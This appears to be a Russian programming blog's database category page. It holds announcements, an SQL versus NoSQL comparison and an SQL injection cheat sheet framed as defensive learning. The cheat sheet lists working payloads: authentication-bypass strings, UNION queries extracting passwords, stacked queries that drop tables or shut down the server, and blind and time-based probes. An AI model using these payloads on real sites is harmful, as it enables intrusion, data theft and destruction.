Category: Базы данных

27
Янв
2020

19 февраля, Липецк: митап Sportmaster Lab

IT-подразделение «Спортмастер» организует митап по веб-разработке в Липецке. Обсудят full stack не только в теории, но и на практике.
— Читать дальше «Митап Sportmaster Lab»

08
Янв
2020

11 типов современных баз данных: краткие описания, схемы и примеры БД

Любые данные где-то хранятся. Будь это интернет вещей или пароли в *nix. Показываем схемы основных типов баз данных, чтобы наглядно представить различия между ними.

Типы баз данных, называемых также моделям…

31
Дек
2019

SQL или NoSQL? А также самые сложные SELECT-запросы

Являются ли NoSQL базы будущим программирования? Или каждой технологии отведено своё место? Отвечаем на это в статье.

Типы NoSQL

NoSQL базы данных часто объединяют в единую группу как противоположность реляционным. Но между ними довольно сильное различие. Да и NoSQL не является конкурентом для классических реляционных баз.

Существует много типов NoSQL БД: ключ-значение, документные, графовые, поисковые, с широким столбцом и т. д. Детальное описание самых популярных можете прочесть в другой нашей статье.

Более того, конкретная база может использовать сразу несколько технологий. Например, AWS DynamoDB является одновременно документной, типом ключ-значение и с широким столбцом, а Azure Cosmos DB – графовой и документной. На рынке огромное количество баз, и такое разнообразие ставит трудную задачу перед архитекторами. В нашей статье мы постараемся помочь хотя бы с выбором между SQL и NoSQL.

Достоинства SQL

Чтобы сделать выбор, нужно вспомнить 3 нормальные формы реляционных баз, более сложные формы можно пока опустить:

1-я форма:

  • Информация в каждой ячейке должна быть неделима.
  • Строки должны быть уникальны и однозначно определены главным ключом.

2-я форма:

  • Все атрибуты в строке должны зависеть от ключа или от всех его полей, если ключ составной.

3-я форма:

  • Атрибуты не должны зависеть ни от каких других атрибутов кроме ключа.

Соблюдение этих правил даёт много преимуществ: минимизирует избыточность данных, исключает нежелательные вставки, редактирования и удаления, обеспечивает атомарность транзакций.

Для соблюдения условий нормализации данные необходимо хранить в разных таблицах, связанных между собой внешними ключами. Но когда разрабатывали реляционные базы, не особо представляли, насколько сильно могут разрастись данные. В современных реалиях классические базы сталкиваются с рядом проблем:

  • Для неструктурированных и полуструктурированных данных появляется необходимость добавлять данные в отдельные строки, а не во все. Эта задача усложняется произвольным типом добавляемых данных, что мешает соблюдать атомарность.
  • При объединении больших таблиц производительность может заметно снижаться.
  • При необходимости массово обновить данные в большом количестве связанных таблиц появляется место, тормозящее всю работу.

Разделение на большое число таблиц со сложными отношениями усложняет процесс разработки, а SQL-запросы могут становиться пугающими. Вот один из примеров, позволяющий выбрать из базы исследования близнецов, соответствующих критериям прохода в следующий этап:

            SELECT
        CONCAT(p1.id, p1.tvab) + 0 AS tvid,
        CONCAT(p1.christian_name, " ", p1.surname) AS Name,
        p1.postal_code AS Code,
        p1.city AS City,
        pg.abrev AS Area,
        IF(td.participation = "Aborted", "A", " ") AS A,
        p1.dead AS dead1,
        l.event AS event1,
        td.suspect AS tsuspect1,
        id.suspect AS isuspect1,
        td.severe AS tsevere1,
        id.severe AS isevere1,
        p2.dead AS dead2,
        l2.event AS event2,
        h2.nurse AS nurse2,
        h2.doctor AS doctor2,
        td2.suspect AS tsuspect2,
        id2.suspect AS isuspect2,
        td2.severe AS tsevere2,
        id2.severe AS isevere2,
        l.finish_date
FROM
        twin_project AS tp
        /* For Twin 1 */
        LEFT JOIN twin_data AS td ON tp.id = td.id
                  AND tp.tvab = td.tvab
        LEFT JOIN informant_data AS id ON tp.id = id.id
                  AND tp.tvab = id.tvab
        LEFT JOIN harmony AS h ON tp.id = h.id
                  AND tp.tvab = h.tvab
        LEFT JOIN lentus AS l ON tp.id = l.id
                  AND tp.tvab = l.tvab
        /* For Twin 2 */
        LEFT JOIN twin_data AS td2 ON p2.id = td2.id
                  AND p2.tvab = td2.tvab
        LEFT JOIN informant_data AS id2 ON p2.id = id2.id
                  AND p2.tvab = id2.tvab
        LEFT JOIN harmony AS h2 ON p2.id = h2.id
                  AND p2.tvab = h2.tvab
        LEFT JOIN lentus AS l2 ON p2.id = l2.id
                  AND p2.tvab = l2.tvab,
        person_data AS p1,
        person_data AS p2,
        postal_groups AS pg
WHERE
        /* p1 gets main twin and p2 gets his/her twin. */
        /* ptvab is a field inverted from tvab */
        p1.id = tp.id AND p1.tvab = tp.tvab AND
        p2.id = p1.id AND p2.ptvab = p1.tvab AND
        /* Just the sceening survey */
        tp.survey_no = 5 AND
        /* Skip if partner died before 65 but allow emigration (dead=9) */
        (p2.dead = 0 OR p2.dead = 9 OR
         (p2.dead = 1 AND
          (p2.death_date = 0 OR
           (((TO_DAYS(p2.death_date) - TO_DAYS(p2.birthday)) / 365)
            >= 65))))
        AND
        (
        /* Twin is suspect */
        (td.future_contact = 'Yes' AND td.suspect = 2) OR
        /* Twin is suspect - Informant is Blessed */
        (td.future_contact = 'Yes' AND td.suspect = 1
                                   AND id.suspect = 1) OR
        /* No twin - Informant is Blessed */
        (ISNULL(td.suspect) AND id.suspect = 1
                            AND id.future_contact = 'Yes') OR
        /* Twin broken off - Informant is Blessed */
        (td.participation = 'Aborted'
         AND id.suspect = 1 AND id.future_contact = 'Yes') OR
        /* Twin broken off - No inform - Have partner */
        (td.participation = 'Aborted' AND ISNULL(id.suspect)
                                      AND p2.dead = 0))
        AND
        l.event = 'Finished'
        /* Get at area code */
        AND SUBSTRING(p1.postal_code, 1, 2) = pg.code
        /* Not already distributed */
        AND (h.nurse IS NULL OR h.nurse=00 OR h.doctor=00)
        /* Has not refused or been aborted */
        AND NOT (h.status = 'Refused' OR h.status = 'Aborted'
        OR h.status = 'Died' OR h.status = 'Other')
ORDER BY
        tvid; 
        

Или вот такой запрос, выбирающий товары по критериям:

            SELECT
    products.id,
    products.name,
    price.link,
    price.discount,
    price.click_count,
    price.currency,
    price_currency.name,
    
    -- default currency is ruble
    (@ori_price:=price.price) AS price,

    -- convertation in dollars
    ROUND(price.price / {$course}, 2) AS dol_price,

    -- select minimal price for product
    (@min_price:=(
                SELECT MIN(price)
                FROM price
                WHERE product_id = products.id
                   && id != price.id
            )
    ) AS min_val,

    -- compare price
    -- " + 1 - 1"
    (@diff:= ROUND(
                    (
                        @max:=GREATEST(@ori_price + 1 - 1, @min_price + 1 - 1)
                        -
                        @min:=LEAST(@ori_price + 1 - 1, @min_price + 1 - 1)
                    ) / @min * 100, 1
                )
    ) AS diff,
    (IF(@ori_price + 1 - 1 <= @min_price + 1 - 1, @diff, -@diff)) AS diff

FROM products
    LEFT JOIN price          ON price.product_id = products.id
    LEFT JOIN price_currency ON price_currency.id = price.currency

WHERE products.archive = 0
ORDER BY products.date_add DESC 
        

Достоинства NoSQL

Существует два важных принципа, которые используются для решения проблем классических реляционных баз. Это использование денормализации и хранение данных на основе принципа ключ-значение.

Ключ-значение

Использование пар ключ-значение – один из самых распространённых способов проектирования нереляционных баз данных. Возможность использовать в качестве значения любой тип данных, будь то массив или документ, даёт огромную гибкость при работе с неструктурированными данными. Такой подход позволяет получать быстрый доступ к данным и хранить их в виде, необходимом для работы приложения.

Нетрудно заметить, что это полностью нарушает принципы нормализации, что приводит к ряду недостатков:

  • Трудно устанавливать какие-либо взаимосвязи между значениями или предотвращать дублирование данных.
  • База занимает больше места из-за необходимости хранить ключ для каждой ячейки, а изменения конкретного значения обходятся дороже.
  • Теряется возможность получать удобное представление большого числа данных.

Денормализация

Это намеренное добавление всех необходимых колонок и полей в одну таблицу с целью избежать объединения множества таблиц при обращении к данным. Естественно, это приводит к схожим недостаткам.

Вывод

Большинство NoSQL-баз на рынке спроектированы с целью максимально ускорить процесс чтения, и немаловажным фактором стала возможность безболезненного помещения их в распределённую сеть. Вертикальное расширение баз становится всё дороже и упирается в потолок возможностей железа, а распределение данных по множеству маленьких независимых серверов достаточно дёшево и может масштабироваться сколь угодно много.

Очевидно, что для коммерческих целей необходимы как реляционные, так и NoSQL базы данных, иногда обе сразу, в зависимости от потребностей. Если ваши данные чувствительны к дублированию и надежности, стоит выбирать классические реляционные базы. Если же важнее масштабируемость и скорость доступа, то лучшим выбором станет NoSQL.

А что вы думаете о SQL и NoSQL?

21
Дек
2019

Взламываем сайты: шпаргалка по SQL инъекциям

Даже в 2019 SQL инъекции остаются актуальной угрозой. Любому разработчику необходимо знать врага в лицо. Наша статья будет отличным подспорьем для этого.

Типы SQLi

Существует 5 основных типов SQL инъекций:

  1. Классическая (In-Band или Union-based). Самая опасная и редко встречающаяся сегодня атака. Позволяет сразу получать любые данные из базы.
  2. Error-based. Позволяет получать информацию о базе, таблицах и данных на основе выводимого текста ошибки СУБД.
  3. Boolean-based. Вместо получения всех данных, атакующий может поштучно их перебирать, ориентируясь на простой ответ типа true/false.
  4. Time-based. Похожа на предыдущую атаку принципом перебора, манипулируя временем отклика базы.
  5. Out-of-Band. Очень редкие и специфические типы атак, основанные на индивидуальных особенностях баз данных.

Далее мы разберем их детальней.

Уязвимые точки

Уязвимые точки для атаки находятся в местах, где формируется запрос к базе: форма аутентификации, поисковая строка, каталог, REST-запросы и непосредственно URL.

Защита от SQLi

Для каждого сервера и фреймворка есть свои тонкости и лучшие практики, но суть всегда одинакова.

Нельзя вставлять данные в запрос напрямую. Всегда обрабатывайте ввод отдельно и формируйте запрос исключительно из безопасных значений.

Создавайте белые списки: их значительно труднее обойти, чем черные. Все названия таблиц, полей и баз должны быть заданы конкретными значениями в вашей программе. Это касается и операторов.

Естественно, не забывайте про ограничение прав доступа к базе.

Тем не менее, кибербезопасность – это тот случай, когда понимание принципов нападения – лучший способ защиты.

Классические атаки

Самый простой пример критически уязвимого для SQLi кода выглядит следующим образом:


            userName = getRequestString("UserName");
request = "SELECT * FROM Users WHERE UserName = " + userName; 
        

Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.

Комментирование

Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’– позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.

            SELECT * FROM members WHERE username = 'admin'--' AND password = 'password' 
        

Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:

            DROP/*some comment*/sampletable
DR/**/OP/*random comment to cheat*/sampletable
 
        

А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:

            /*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL.
Можно даже ограничить минимальную версию*/

такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии
SELECT /*!!50100 1/0, */ 1 FROM tablename 

 
        

Манипуляции со строками

Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:

            #SQL Server
SELECT login + '-' + password FROM members
#MySQL
SELECT CONCAT(login, password) FROM members 
        

В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:

            //0x633A5C626F6F742E696E69 == c:\boot.ini
SELECT CONCAT('0x','633A5C626F6F742E696E69'))

SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) 
        

Обход аутентификации

Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:

            ' or 1=1
' or 1=1--
' or 1=1#
' or 1=1/*
admin' --
admin' #
admin'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 
        

Union injection

UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.

Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.

            SELECT name, price FROM products UNION ALL SELECT name, pass FROM members 

#Такой запрос позволит получить данные о таблицах и найти таблицу пользователей
UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables) 
        

Последовательные запросы

Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:

            #Удаление таблицы
SELECT * FROM products WHERE productName = ""; DROP users--
#Выключение SQL Server
SELECT * FROM products WHERE productName = ""; shutdown –
 
        

Возможный урон

Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.

Error-Based

Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.

Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:

            ' HAVING 1=1 --
' GROUP BY table.columnfromerror1 HAVING 1=1 --
' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Если ошибки перестали появляться, значит столбцы закончились 
        

Слепые инъекции

В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.

Условные выражения

Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:

            #MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END; 
        

Boolean-based

Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:

            TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND 
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND 
name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
#Этот запрос говорит нам, что ASCII-значение первого символа больше 78 
#дальнейший перебор определит точное значение  
        

Time-Based

Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:

            SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15' 
        

Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.

Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.

Поделитесь в комментариях, каким стеком пользуетесь и как защищаете свой проект?

06
Ноя
2019

Трансляция HighLoad++ 2019

В программе: архитектура и эксплуатация проектов, базы данных и системы хранения, системное администрирование, нагрузочное тестирование и не только.
— Читать дальше «Трансляция HighLoad++ 2019»

25
Окт
2019

7–8 ноября, Сколково: конференция HighLoad++ 2019

Мероприятие направлено на обмен знаниями о технологиях, позволяющих одновременно обслуживать многие тысячи и миллионы пользователей.
— Читать дальше «Конференция HighLoad++ 2019»

09
Сен
2019

Онлайн-курс «CS50’s Web Programming with Python and JavaScript»

Научитесь полному циклу веб-разработки на Python и JavaScript. В программе изучение современных инструментов и много самостоятельной работы.
— Читать дальше «Курс «CS50’s Web Programming with Python and JavaScript»»

25
Июн
2019

11–12 июля, Санкт-Петербург: конференция Hydra 2019

Конференция о современных параллельных и распределённых системах, а также о научных подходах и теоремах, лежащих в их основе.
— Читать дальше «Конференция Hydra 2019»

05
Апр
2019

Конференция SECON’2019

На конференции узнаете последние тренды и новости из мира IT, пообщаетесь со специалистами и посоревнуетесь с другими гостями в логическом мышлении.
— Читать дальше «Конференция SECON’2019»

26
Ноя
2018

Database Meetup

6 декабря в Омске пройдёт встреча администраторов и разработчиков баз данных Database Meetup. Кого ждут? Всех, кто работает с Java и PL/SQL для управления СУБД, а также администраторов других продуктов Oracle. Что в программе? Разговор пойдёт об оптими…

20
Ноя
2018

Выпущена СУБД FoundationDB 6.0.15

Apple представила релиз 6.0.15 кроссплатформенной открытой распределённой СУБД FoundationDB для обработки крупных наборов структурированных данных. Это первый стабильный релиз шестой ветки СУБД. FoundationDB относится к классу NoSQL-систем, манипулирую…

09
Ноя
2018

Ноябрьский рейтинг PYPL: языки программирования, базы данных, IDE

Опубликован рейтинг PYPL (PopularitY of Programming Language) за ноябрь 2018 года. Для расчёта индекса популярности в PYPL используется статистика поисковых запросов. Данные для расчёта берутся из Google Trends. Языки программирования Рейтинг отражает …

01
Ноя
2018

Курс «Специалист по web-разработке»

Начался новый набор на курс «Специалист по web-разработке» от израильской высшей школы IT и безопасности HackerU. Студентов научат современному стеку фронт- и бэкенда веб-приложений. Кому подойдёт? Как новичкам, так и действующим разработчикам, желающи…

30
Июн
2018

Практика по MS SQL. Получаем базовые знания и не только

Нередко в проектах встречается использование реляционной СУБД от Microsoft. Практика по MS SQL поможет быстро включиться в работу.

Данная практика по MS SQL рассчитана на специалистов, которые уже овладели теоретическими знаниями и навыками языка SQL и расширением Transact-SQL от Microsoft.

По итогам курса вы научитесь создавать БД для интернет-магазина с минимальным функционалом.

16
Июн
2018

SQL-программирование: наиболее полный видеокурс

SQL-программирование: наиболее полный видеокурсSQL-программирование относится к той предметной области, которую можно изучить только на практике, и данный курс поможет вам в этом. Введение Это первый ролик курса, являющийся вступительной речью. Автор начинает с базовых понятий: таблица, база данных, для чего все это нужно, где используется и т. д. Изложение материала происходит на понятном языке с использованием информативных слайдов. […]

Запись SQL-программирование: наиболее полный видеокурс впервые появилась Библиотека программиста.